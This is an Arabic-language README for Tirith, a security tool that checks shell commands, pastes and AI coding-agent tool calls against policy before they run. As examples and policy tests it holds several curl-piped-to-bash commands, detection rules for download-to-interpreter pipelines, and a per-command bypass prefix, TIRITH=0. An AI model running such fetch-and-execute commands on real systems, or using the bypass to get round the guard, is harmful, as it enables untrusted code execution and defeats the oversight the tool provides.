- **عمليات التثبيت القابلة للاستبدال الذاتي** (أرشيف `install.sh`، أو ملف تنفيذي مستقل، أو إصدار Tirith مملوك بشكل آمن ومخزّن مؤقتًا تحت جذر Hermes (`HERMES_HOME`، أو `~/.hermes` عندما يكون هذا المتغير غير معيّن؛ على Unix فقط)) تُحدَّث في مكانها: ينزّل tirith أحدث إصدار، ويتحقق منه، ثم يستبدل الملف التنفيذي بشكل ذرّي، مع الاحتفاظ بالملف السابق كملف جانبي `tirith.tirith-previous`. يُتحقق من توقيع cosign **افتراضيًا**: إذا تعذّر التحقق منه (cosign مفقود، أو الإصدار لم ينشر توقيعًا) يُلغى التحديث. مرّر `--allow-unsigned` للرجوع إلى التحقق من checksum فقط؛ عدم تطابق checksum يُلغي دائمًا بغض النظر عن ذلك. `tirith update --rollback` يعيد إلى الملف التنفيذي السابق؛ `--dry-run` يُظهر ما سيحدث دون تغيير أي شيء. تبقى التحديثات صريحة: لا يتحقق Tirith أبدًا من ملف تنفيذي جديد أو يثبّته في الخلفية.
> [!NOTE]
> تتحقق نصوص التثبيت أيضًا (`scripts/install.sh` و`install.ps1` على Windows) من توقيع cosign للإصدار **افتراضيًا** وتُلغى إذا كان [`cosign`](https://github.com/sigstore/cosign) مفقودًا أو تعذّر التحقق من التوقيع. ثبّت `cosign` أولًا، أو اضبط `TIRITH_ALLOW_UNSIGNED=1` للتثبيت مع التحقق من checksum فقط (غير موصى به). عدم تطابق checksum أو التوقيع يُلغي دائمًا بغض النظر عن هذا الخيار.
### تكاملات الصدفة (Shell)
**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
استخدم tirith setup <tool> لإعداد بأمر واحد. هذه هي واجهة الإعداد المُسمّاة الكاملة، بما في ذلك التكاملات السابقة والإضافات التي صدرت في 0.4.0:
صف MCP فقط يعرض أدوات Tirith لكنه لا يُجبر المضيف على استدعائها.
صف الخطاف تلقائي فقط بعد أن يكون المضيف قد حمّل المخرجات المُنشأة
ولا يزال يحترم عقد الرفض الخاص به. شغّل tirith doctor، وأعد تشغيل المضيف،
وقم بإجراء فحص السماح/الحجب الخاص بالمضيف بعد الإعداد وكل ترقية.
مسارات التكوين الكاملة، وقواعد الأولوية، وسلوك الفشل المفتوح، وخطوات التحقق
موجودة في
مصفوفة تكامل الوكيل والثقة.
راجع mcp/clients/ للأدلة الخاصة بكل مضيف المتاحة.
إجراء GitHub مع رفع SARIF إلى تبويب أمان GitHub:```yaml
تعتمد التبعيات المثبتة للإجراء على بيئة تشغيل إجراءات Node 24. يجب على
المشغّلات المستضافة ذاتيًا استخدام [Actions Runner v2.327.1 أو أحدث](https://github.com/actions/runner/releases/tag/v2.327.1)؛
المشغّلات المستضافة على GitHub تستوفي هذا الشرط بالفعل.
متاح أيضًا كـ **pre-commit hook**: راجع `.pre-commit-hooks.yaml` في هذا المستودع.
يدعم Scan عوامل التصفية `--include` و`--exclude` و`--profile` (يحمّل ملفات تعريف مُسمّاة من السياسة) و`--ignore` لفحص CI الموجّه.
### توثيق القواعد```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
كل اكتشاف يحمل معالجة خاصة بكل قاعدة: سطر قصير ودقيق يوضح "كيف تجعل هذا آمنًا"، يُعرض تحت كل اكتشاف (Fix:) وفي --format json.
يطبع tirith explain --rule <id> --fix تلك المعالجة بمفردها.
عندما يتم حظر أمر أو التحذير منه، يطبع tirith check --suggest بالإضافة إلى ذلك
معالجة للأمر الفعلي. ويتضمن إعادة كتابة قابلة للتنفيذ ملموسة فقط لتحويل ميكانيكي ضيق
يتم التحقق من أمره النهائي تحت نفس السياسة الفعّالة:```bash
tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'
على Linux بنظام x86_64، عندما يكون Tirith مثبتًا في مسار نظام ثابت مُدار من الجذر ويمكن فك ترميز URL الأمر والصدفة والوسائط وسلوك stdin بدقة، فإن إعادة الكتابة توجّه pipe-to-shell عبر مشغّل الكبسولة المُقيّد والمُراجَع والمُتحقَّق من تجزئته والفاشل-مغلقًا الخاص بـ Tirith. يمنع مسار Tirith المطلق أي تظليل لاحق لـ `PATH` من تغيير ما يتم تشغيله. عند التنفيذ، يتطلب المشغّل أيضًا أن تكون أول إصابة لـ `PATH` للمفسّر المختار مُدارة من الجذر، ويربط بايتاته قبل التنزيل، ويحافظ على تلك الصدفة بدلًا من الوثوق بـ shebang البعيد. تحتفظ المعماريات والمنصات الأخرى وتثبيتات Tirith المملوكة للمستخدم بهذا الإصلاح كإرشاد. بالنسبة لـ curl، تتطلب عمليات إعادة الكتابة القابلة للتنفيذ أيضًا كلاً من دلالات الفشل-عند-خطأ-HTTP واتباع-إعادة-التوجيه (`-f` و `-L`، بما في ذلك حزمة مثل `-fsSL`). تبقى رموز URL الديناميكية أو المشوّهة، ووسائط المفسّر غير المدعومة، وPowerShell، وCmd، والخطوط الأنبوبية الغامضة إرشادية فقط. تقتصر الاقتراحات القابلة للتنفيذ على مشغّل الأنابيب المُتحقَّق منه والفاشل-مغلقًا. تصحيح الأرشيف، وملفات dotfile، وإزالة أعلام TLS، وتغييرات HTTP إلى HTTPS، وتضييق sudo، وتنقية البيئة، وتصحيحات أسماء الحزم هي إرشادية فقط لأن دلالاتها الدقيقة للصدفة أو الشبكة أو الصلاحيات أو البيئة أو السجل غير قابلة للإثبات ميكانيكيًا. بالنسبة لأي اكتشاف بدون إعادة كتابة ميكانيكية آمنة، يصرّح Tirith بذلك بوضوح ويعرض الإصلاح بدلًا من ذلك؛ ولا يصدر أبدًا أمرًا تخمينيًا. العلم استشاري: لا يغيّر الحكم ولا رمز الخروج.
### وضع الخدمة الخلفية (Daemon Mode) (Unix)
عملية خلفية اختيارية لزمن استجابة دون الميلي ثانية وإثراء واعٍ بالشبكة (تحليل URL المختصرة، وفحوص قوائم حظر DNS):```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] وضع الخدمة (daemon) متاح على Unix فقط حاليًا.
الأوامر اليومية:
واجهات صريحة واختيارية. لا شيء من هذه يعمل ضمنيًا، ولا شيء منها لديه خدمة أو مراقب خلفي:
هذه هي مجموعة الاستخدام اليومي. tirith يشحن 78 أمرًا من المستوى الأعلى إجمالًا، في 8 مجموعات: الفحص والتحليل، الحالة والصحة، الإعداد، السياسة والثقة، حراس الصدفة والنظام (hygiene، persistence، exec، path، context، ssh، sudo، iac)، سلسلة التوريد، تكاملات وكيل AI، والتحقيق والاستجابة. شغّل tirith --help للقائمة المصنفة، أو راجع مرجع الأوامر الكامل. العلم العام --quiet (أو TIRITH_QUIET=1) يكتم مخرجات الاستشارة دون إخفاء الأخطاء أو الأحكام أو إشعارات الأمان.
paste وscore وdiff وwhy لا تُجري أي
اتصالات شبكية. يمكن لـ tirith check الاستعلام عن مصادر OSV/deps.dev/ecosyste.ms
وCISA KEV وSafe Browsing المُهيأة ويمكن أن يُفعّل تحديث قاعدة بيانات التهديدات
الدوري أدناه. tirith check --offline (أو TIRITH_OFFLINE=1) يكتم كل
مسارات HTTP وDNS تلك، ويقرأ فقط ذاكرات التشغيل المؤقتة الموجودة، ويُبلّغ عن
حالات فقدان الذاكرة المؤقتة كتحقق غير مكتمل بدلًا من نتيجة نظيفة.tirith check وخطافات الصدفة
تُفعّل فحصًا خلفيًا منفصلًا رخيصًا مرة واحدة على الأكثر كل 24 ساعة افتراضيًا
(threat_intel.auto_update_hours)، للحفاظ على قاعدة البيانات الموقّعة حديثة.
لا يحجب الأمر أبدًا. اضبط auto_update_hours: 0 لتعطيله، أو
--offline / TIRITH_OFFLINE=1 لكتمه لكل استدعاء.
يُفعّله؛ بل يمر مباشرة عبر المحرك المحلي.tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` يقبل `--template <name>` لسياسة بداية منسقة:```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
كل قالب هو سياسة موثّقة جيدًا وصالحة وفق المخطط يمكنك تعديلها بشكل أكبر.
بدون --template، يكتب tirith policy init السياسة الافتراضية الكاملة.
يستخدم Tirith ملف سياسة بصيغة YAML. ترتيب الاكتشاف:
.tirith/policy.yaml في الدليل الحالي (يصعد حتى جذر المستودع)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
استخدم `allowlist_rules` لتجاوزات محددة النطاق بالقواعد عندما تثق بمصدر ما لقاعدة واحدة ولكنك لا تريد إدراجه في القائمة المسموح بها عالميًا:```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
تُطابق أنماط allowlist وallowlist_rules عناوين URL فقط المستخرجة من
المدخلات التي تظهر في أدلة أحد النتائج. وهي لا تطابق أبدًا نص الأوامر الخام،
ولا يمكن أبدًا كبح نتيجة لا تحتوي على دليل URL بواسطة قائمة سماح، لذا فإن
نمطًا على شكل أمر مثل launchctl list يكون غير فعّال. تستخدم الأنماط نفس
قواعد tirith trust: النمط الذي يحتوي على :// أو / أو ? أو # هو
مطابقة تامة لعنوان URL المُطبَّع (مثبَّت، مع اعتبار الاستعلام والجزء ذوي دلالة)؛
والمضيف المنقّط المجرّد مثل get.docker.com يطابق ذلك النطاق ونطاقاته الفرعية؛
و*.example.com هو حرف بدل صريح؛ والرمز المجرّد بدون نقطة هو مطابقة سلسلة
فرعية مقابل نص URL، إلا إذا كان ذلك الرمز لاحقة عامة مثل com أو dev، وفي
هذه الحالة يُعامَل كمطابقة نطاق مقابل مضيف URL ويطابق كل مضيف تحته. افحص ما
تؤول إليه سياسة ما باستخدام tirith policy effective، وتحقق من أمر محدد
باستخدام .
يدير tirith trust الأنماط الموثوقة دون تحرير سياسة YAML يدويًا. الثقة
ضيقة ومنتهية الصلاحية افتراضيًا: وثّق أكثر شيء محدد يفي بالغرض، وتنتهي
صلاحية الإدخالات بعد 30 يومًا ما لم تختر إلغاء ذلك.```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
يُصنَّف **نطاق** كل إدخال على أنه `exact` أو `substring` أو `domain` أو `wildcard` أو `bare-TLD`. كل نطاق غير دقيق (`substring` / `domain` / `wildcard` / `bare-TLD`) يتطلب `--broad`، لذا فإن السماح الشامل يُعدّ دائمًا خيارًا متعمدًا. تستخدم عناوين URL الدقيقة مطابقة URL المُطبَّع (بما في ذلك المخطط، والمضيف، والمنفذ الفعّال، والمسار، والاستعلام، والجزء)، ولا تستخدم أبدًا مطابقة السلاسل الفرعية. تدعم جميع الأوامر الفرعية `--format json`. تظل مخازن الثقة المكتوبة بواسطة إصدارات أقدم من tirith تعمل دون تغيير، ويُعامَل الإدخال الذي لا يحتوي على TTL على أنه دائم.
### التصعيد وتجاوزات الإجراءات
تُتتبَّع التحذيرات لكل جلسة. إذا تكرر تفعيل القاعدة نفسها، يمكن لقواعد التصعيد أن ترتقي إلى حظر:```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
راجع التحذيرات المتراكمة في أي وقت:```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
عند الخروج من الصدفة، تُطبع ملخص من سطر واحد إذا تم تسجيل أي تحذيرات خلال الجلسة.
المزيد من الأمثلة في [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).
### قواعد الكشف المخصصة
اكتب قواعدك الخاصة في `.tirith/policy.yaml` تحت `custom_rules:`. كل قاعدة إما `pattern:` (تعبير نمطي) أو شجرة محمول دلالي `when:`، بالإضافة إلى `context:` (`exec` أو `paste` أو `file`)، و`severity:`، و`title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
يجمع DSL الخاص بـ when: بين all: / any: / not: على المسندات مثل command.has_pipeline_to، وcommand.uses_sudo، وurl.host، وurl.host_matches، وurl.reputation، وurl.domain_not_in، وpackage.ecosystem، وpackage.name_matches، وpackage.reputation، وfile.path_matches. تقرأ مسندات السمعة قاعدة بيانات التهديدات المحلية الموقّعة، لذا فإن القاعدة المخصصة لا تُجري أي اتصال شبكي على المسار السريع. تحقق وقم بالتشغيل التجريبي قبل الالتزام:```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### المزيد من عناصر التحكم في السياسات
مفاتيح السياسة الأخرى، جميعها بقيم افتراضية آمنة (`tirith policy init` يكتب المجموعة كاملة التعليقات):
- عتبات `package_policy:` تحوّل إشارات سلسلة التوريد إلى أحكام حظر أو تحذير (`block_typosquat_distance`، `warn_low_downloads_below`، `block_newer_than_days`، `block_not_found`).
- `agent_rules:` تطابق `allow:` / `deny:` أصل مستدعي الأمر (`{ kind, name }`)؛ تطابق `deny` يفرض الحظر. يقبل `scan.trusted_mcp_servers` و `scan.mcp_allowed_tools` خوادم MCP محددة وأدوات لكل خادم.
- حراس اختياريون، معطّلون افتراضيًا: `env_guard_enabled`، `exec_guard_enabled`، `hooks_guard_enabled`، `baseline_enabled`، بالإضافة إلى `iac_require_plan_before_apply`، `sudo_require_reason`، و `allowed_install_domains`.
ملفات `.tirith/policy.yaml` الخاصة بالمستودع يمكنها فقط التشديد، وليس الإرخاء أبدًا: سياسة المستودع التي تحاول توسيع قائمة السماح، أو خفض درجة خطورة، أو تعطيل حارس يتم تحييدها، ويُظهر `tirith policy effective` الحقول التي تم إسقاطها. فقط السياسات على مستوى المستخدم ومستوى المؤسسة (`TIRITH_POLICY_ROOT`) يمكنها تخفيف القيمة الافتراضية.
### وضع التحذير الصارم
مع `strict_warn: true` (أو `--strict-warn` في سطر الأوامر)، تطلب النتائج متوسطة الخطورة إقرارًا صريحًا في الطرفيات التفاعلية بدلًا من التحذير الصامت:```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
تستخدم خطافات Shell رمز الخروج 3 لبروتوكول warn-ack. الخطافات القديمة التي لا تعرف رمز الخروج 3 تنتقل إلى سلوك fail-open.
[!NOTE] رمز الخروج 3 هو مسار بروتوكول خطاف warn-ack، وليس عقد CLI المباشر العادي. لا ينبغي للمستدعين غير الخطافات عادةً رؤية رمز الخروج 3؛ وإذا رأوه، فهذا يشير إلى أن الإقرار مطلوب.
في الحالة النادرة التي تعرف فيها بالضبط ما تفعله:```bash TIRITH=0 curl -L https://something.xyz | bash
هذا بادئة قياسية لكل أمر في الصدفة؛ المتغير موجود فقط لذلك الأمر الواحد ولا يستمر في جلستك. يمكن للمؤسسات تعطيله بالكامل باستخدام `allow_bypass_env: false` في السياسة.
> [!CAUTION]
> `TIRITH=0` لكل أمر على حدة. لا تقم بتصديره في ملفات تعريف الصدفة أو ملفات dotfiles أو إعدادات CI؛ فالتجاوز الدائم يبطل نموذج الحماية بأكمله. إذا وجدت نفسك تلجأ إليه كثيرًا، فأضف المصدر الموثوق إلى `allowlist` في ملف السياسة الخاص بك بدلاً من ذلك.
---
## التعامل مع البيانات
سجل تدقيق JSONL محلي في `~/.local/share/tirith/log.jsonl`:
- الطابع الزمني، معرّف الجلسة، الإجراء، معرّفات القواعد، معاينة الأمر المحجوبة البيانات الحساسة
- بيانات الكشف الخام (`raw_action`، `raw_rule_ids`) محفوظة جنبًا إلى جنب مع الإجراء المفروض لتدقيق التغطية
- حالة تحذير الجلسة في `~/.local/state/tirith/sessions/`
- **لا** أوامر كاملة، أو متغيرات بيئة، أو محتويات ملفات
للتعطيل: `export TIRITH_LOG=0`
---
## الوثائق
- [مرجع الأوامر](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): كل أمر فرعي، مجمّع حسب الفئة
- [مصفوفة القدرات](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): التغطية لكل أمر (ما يفحصه tirith، وما إذا كانت السياسة تحكمه بالكامل)
- [تغطية الإنفاذ](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): سجل لكل قدرة يفصل بين الكشف، وقرار الفحص المسبق، وإنفاذ التنفيذ، والاحتواء، والتوثيق
- [نموذج التهديد](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md)، ما يدافع عنه tirith وما لا يدافع عنه
- [كتاب الوصفات](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md)، أمثلة سياسات للإعدادات الشائعة
- [استكشاف الأخطاء وإصلاحها](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md)، غرائب الصدفة، زمن الاستجابة، الإيجابيات الكاذبة
- [التوافق](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md)، السطح المستقر مقابل التجريبي
- [ملاحظات إصدار 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md)، ما يغيّره إصدار التصحيح الحالي، و[ملاحظات إصدار 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) لأبرز ما في خط 0.4، وقيوده، وعقد النشر
- [قائمة مراجعة الإصدار](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md)، تسلسل النشر المحمي والتحقق من السجل
- [سياسة الأمان](https://github.com/sheeki03/tirith/blob/main/SECURITY.md)، الإبلاغ عن الثغرات
- [إلغاء التثبيت](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md)، الإزالة النظيفة لكل صدفة ومدير حزم
أدلة الميزات:
- [حارس أوامر Web3](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (سياسة `web3_guard`، وقواعد Web3 الثلاث، وارتباطات بطاقة الأوامر v2)
- [مغلف المهمة](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (مصدر المهمة غير الموثوق، وسياسة `task_gate`، وأداة MCP للمعاينة)
- [المشاريع غير الموثوقة](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (سير عمل "أرسل لي شخص ما مستودعًا")
- [تدفق مخرجات CI](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (تسميم مخرجات البناء عبر سير العمل)
- [تدقيق إضافات المتصفح](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (تدقيق سلامة للقراءة فقط لعائلة Chromium)
- [إيصال مصدر npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`، وبالضبط ما لا يربطه)
- [إيصالات التوثيق](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (إيصالات البناء والنشر في لحظة زمنية محددة)
- [الطرح والتراجع](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (التمكين التدريجي، والمحفزات، ودليل التراجع)
- [حوكمة الوكيل](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (إسناد أصل المستدعي و`agent_rules`)
- [مرشح مخرجات MCP](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (البوابة وعقد تعقيم مخرجات MCP)
- [أوضاع Doctor](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (الكامل مقابل `--quick`، ومخطط لقطة JSON)
- [ملفات تعريف LSP والمحرر](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (تشخيصات المحرر المضمّنة)
- [المراسلة الأصلية للمتصفح](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (مضيف وامتداد مصدر الحافظة)
- [مصدر اللصق](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (قاعدة `paste_source_mismatch`)
- [تنسيقات Canary](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (تنسيقات honeytoken الاصطناعية)
- [تكامل موجه الأوامر](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (ربط `tirith prompt-status` في موجه الصدفة الخاص بك)
## الترخيص
**تغطية الأمان الأساسية تُشحن في الشجرة مفتوحة المصدر.** جميع قواعد الكشف البالغ عددها 244 وخادم MCP متاحة من المصدر. لا يزال المستودع يحتوي على مسارات برمجية قديمة للترخيص وخادم السياسات، لذا تجنّب افتراض أن كل مسار وقت تشغيل خالٍ بالفعل من الطبقات المدفوعة.
tirith مرخّص بشكل مزدوج:
- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL)، مجاني بموجب شروط الحقوق المتروكة
- **تجاري**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL)، إذا كانت التزامات الحقوق المتروكة لـ AGPL لا تناسب حالة الاستخدام الخاصة بك، فاتصل بـ [email protected] للحصول على ترخيص بديل
إسنادات بيانات الأطراف الثالثة في [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).
## سجل النجوم
[](https://star-history.dera.page/#sheeki03/tirith&Date)
$PATHtirith browser| المضيف | الإعداد | طبقة الحماية المثبّتة بواسطة الإعداد | النطاق |
|---|
| Claude Code | tirith setup claude-code --with-mcp | حجب PreToolUse؛ MCP اختياري | افتراضي المشروع أو المستخدم |
| Cline | tirith setup cline | حجب PreToolUse على POSIX وPowerShell، بالإضافة إلى MCP؛ يشغّل المضيف الأداة إذا فشلت عملية الخطاف | المستخدم فقط؛ يجب تمكين الخطافات في Cline |
| OpenAI Codex | tirith setup codex | بوابة MCP؛ حارس zsh غير تفاعلي اختياري مع --install-zshenv | المستخدم فقط |
| GitHub Copilot CLI | tirith setup copilot-cli | خطاف حجب preToolUse | المشروع فقط؛ شغّله من جذر المستودع |
| Continue | tirith setup continue | MCP فقط | المشروع فقط |
| Cursor | tirith setup cursor | خطاف beforeShellExecution بالإضافة إلى بوابة MCP؛ حارس zsh اختياري | افتراضي المشروع أو المستخدم |
| Vercel Labs fx | tirith setup fx | MCP فقط | ملف تعريف المستخدم الموثوق فقط |
| Gemini CLI | tirith setup gemini-cli --with-mcp | حجب BeforeTool؛ MCP اختياري | افتراضي المشروع أو المستخدم |
| Grok Build | tirith setup grok-build | PreToolUse على POSIX بالإضافة إلى MCP؛ يمكن للمضيف الفشل المفتوح عند خطأ/مهلة الخطاف | افتراضي المشروع أو المستخدم |
| Kiro CLI | tirith setup kiro | خطاف حجب preToolUse بنطاق الوكيل | افتراضي المشروع أو المستخدم؛ يجب تحميل الوكيل الممكّن بـ Tirith |
| OMP / Oh My Pi | tirith setup omp | حارس حجب tool_call بالإضافة إلى MCP | المستخدم/الملف الشخصي فقط |
| OpenClaw | tirith setup openclaw | إضافة حجب before_tool_call | افتراضي المشروع أو المستخدم |
| OpenCode | tirith setup opencode | MCP فقط | افتراضي المشروع أو المستخدم |
| OpenHands CLI | tirith setup openhands | خطاف pre_tool_use على POSIX بالإضافة إلى MCP للمستخدم؛ يمكن للمضيف الفشل المفتوح عند خطأ الخطاف | افتراضي المستخدم؛ خطاف المشروع مدعوم أيضًا |
| Pi CLI | tirith setup pi-cli | إضافة حجب tool_call | افتراضي المشروع أو المستخدم |
| Prime Agent | tirith setup prime-agent | حارس حجب bash/IPython بالإضافة إلى MCP | المستخدم فقط |
| Roo Code | tirith setup roo-code | MCP فقط | المشروع فقط |
| VS Code | tirith setup vscode | خطاف مساحة العمل بالإضافة إلى بوابة MCP؛ حارس zsh اختياري | المشروع فقط |
| Windsurf | tirith setup windsurf | خطاف pre_run_command بالإضافة إلى بوابة MCP؛ حارس zsh اختياري | المستخدم فقط |
| الأمر | ما يفعله |
|---|
tirith check -- <cmd> | تحليل أمر دون تنفيذه (--suggest يضيف معالجة، وعند التحقق، إعادة كتابة ميكانيكية ضيقة) |
tirith paste | فحص المحتوى الملصق (يُستدعى تلقائيًا بواسطة خطافات الصدفة) |
tirith scan [path] | فحص الملفات والمجلدات والإعدادات (--profile، --format sarif، --ci) |
tirith run [--capsule] <url> | فحص سكربت بعيد (--no-exec على Unix)؛ التنفيذ المباشر على Linux محتوى ومغلق عند الفشل افتراضيًا، باستخدام البايتات المراجعة بدقة من واصف مجهول مختوم (--capsule هو تهجئة توافقية قديمة) |
tirith fix -- <cmd> | تطبيق تفاعلي لإعادة كتابة مُشغّل الأنابيب المُتحقق منها والمغلقة عند الفشل عند توفرها؛ وإلا عرض الإرشادات |
tirith score <url> / diff <url> | تفصيل إشارات الثقة لعنوان URL، أو إظهار مكان اختباء الأحرف المشبوهة |
tirith explain --rule <id> / why | وثائق القواعد والمعالجة، أو شرح آخر محفّز |
tirith status / doctor | هل أنت محمي؟ تشخيص التثبيت والخطافات والسياسة (--fix، --quick) |
tirith setup <tool> / init | إعداد أداة AI بأمر واحد، أو طباعة خطاف الصدفة |
tirith policy {init,validate,test} | إنشاء والتحقق من وتشغيل تجريبي لسياستك |
tirith trust {add,list,remove} | إدارة الأنماط الموثوقة (نطاق ضيق، مدة صلاحية 30 يومًا افتراضيًا) |
tirith threat-db update | تنزيل والتحقق من قاعدة بيانات التهديدات الموقّعة |
tirith package risk <eco> <name> | تقييم مخاطر سلسلة التوريد لحزمة |
tirith ecosystem scan [path] | تقييم كل تبعية معلنة في مشروع |
tirith package inspect --artifact <wheel> | فحص بايتات أثر Python الدقيقة، وخطافات بدء التشغيل، والكود الأصلي، وسلامة RECORD، وسلاسل التنفيذ عبر العجلات |
tirith pkg {approve,install,verify-env} | الموافقة على حزم Python وتثبيت تجزئتها واحتوائها وتثبيتها والتحقق منها على مضيفات Linux x86_64 المدعومة |
tirith mcp {lock,verify} | تثبيت وبوابة خوادم MCP للمستودع |
tirith gateway run | وكيل لخادم MCP المنبع وفرض حدود الطلب/الإخراج المُهيأة |
tirith daemon start | خدمة خلفية لفحوصات أسرع (Unix) |
| الأمر | ما يفعله |
|---|
tirith task check | معاينة. تقييم غلاف مهمة غير موثوق (نص مشكلة، PDF، صفحة ويب) والإبلاغ عن التأثيرات المسموح بها. لا ينفذ شيئًا ولا يوقف شيئًا |
tirith capsule run --preset untrusted-project | نسخ مشروع غير موثوق إلى مجلد مؤقت محتفظ به وتشغيل argv دقيق في كبسولة مغلقة عند الفشل. قابل للفرض على Linux x86_64 فقط؛ كل مضيف آخر يرفض قبل نسخ أو تشغيل أي شيء |
tirith browser audit | تدقيق سلامة للقراءة فقط لأشجار مصدر إضافات عائلة Chromium المثبتة، مع انحراف مقابل خط أساس موقّع |
tirith pkg attest-npm | مطالبة npm الخاص بالمشروع بالتحقق من توقيعات السجل للحزم المثبتة، مرتبطًا بملف القفل الدقيق وشجرة التثبيت |
tirith attest {build,verify-build,deployment,verify-deployment} | إيصالات لحظية على شجرتين وعلى المسارات المنشورة. ليس ادعاء بناء قابل للتكرار، وليس مراقبة مستمرة |
tirith paste--suggest وexplain --fix يطبعان أمرًا منفصلًا لتشغيله؛ لا يستبدلان أمرًا أبدًا.tirith daemon start الاختياري هو العملية المقيمة الوحيدة، وهو اختياري.run وfetch وaudit report --upload تصل إلى الشبكة فقط عند الاستدعاء
الصريح؛ check يستخدم مصادر التهديدات المُهيأة وقت التشغيل و
تحديث قاعدة بيانات التهديدات يتبع الجدول أعلاه. وضع الخدمة يضيف
تحليل URL واعٍ بالشبكة، ويمكن لتكاملات webhook / خادم السياسة الاختيارية
إجراء طلبات صادرة عند التهيئة. --offline / TIRITH_OFFLINE=1 يعطّل
كل منتج شبكي في المسار الساخن لـ check في وضعي الخدمة والمباشر.tirith run وfetch --save وcommand-card fetch ترفض المضيفات الخاصة والحلقية ومضيفات بيانات السحابة الوصفية افتراضيًا، و
حارس SSRF يعيد فحص DNS عند الاتصال وعند كل قفزة إعادة توجيه. للوصول إلى
خدمة داخلية محددة، اضبط TIRITH_PRIVATE_FETCH_ALLOW على قائمة مفصولة بفواصل
من أسماء المضيفات الدقيقة، أو عناوين IP الخاصة، أو CIDRs الخاصة المحدودة (على سبيل المثال،
registry.internal,10.42.0.0/24). المفتاح القديم الواسع
TIRITH_ALLOW_PRIVATE_FETCH=1 غير مُعترف به. تبقى نقاط link-local والاستخدام الخاص
ونقاط التحكم/بيانات الاعتماد السحابية محظورة حتى عند الموافقة على مضيف.
لاحظ ما يمنحه إدخال اسم المضيف: هذا الاسم مُعتمد لأي شيء
يُحلّ إليه داخل مساحة الاستخدام الخاص والحلقة، بما في ذلك 127.0.0.1،
لأن التحليل ليس جزءًا من قرار الثقة. فضّل إدخال CIDR
عندما تعني نطاق عناوين ثابتًا، واستخدم اسم مضيف فقط عندما يكون
الاسم نفسه هو ما تثق به.tirith policy test '<command>'